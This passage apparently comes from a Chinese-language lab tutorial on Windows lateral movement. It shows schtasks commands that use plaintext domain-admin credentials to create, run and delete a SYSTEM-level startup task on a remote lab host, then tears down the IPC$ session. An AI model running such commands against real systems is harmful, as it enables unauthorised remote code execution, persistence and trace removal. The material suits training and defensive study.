3、schtasks计划任务
schtasks命令比at命令更加强大、灵活。创建计划任务，该计划任务在开机时启动，运行c盘下的calc.bat批处理任务，运行权限是system。
schtasks /create /s 192.168.160.135 /tn ailx10_task /sc onstart /tr c:\calc.bat /ru system /f /u HACKBIJI\Administrator /p W2ngluoanquan
尝试立即运行这个计划任务，然后再次查看发现新增了一个calc.exe进程
schtasks /run /s 192.168.160.135 /i /tn "ailx10_task" /u HACKBIJI\Administrator /p W2ngluoanquan
最后删除计划任务
schtasks /delete /s 192.168.160.135 /tn "ailx10_task" /f /U HACKBIJI\Administrator /P W2ngluoanquan
- /u 域账号
- /p 密码
- /f 强制执行
最后的最后，删除$ipc，结束战斗～
net use \\192.168.160.135\ipc$ /del /y
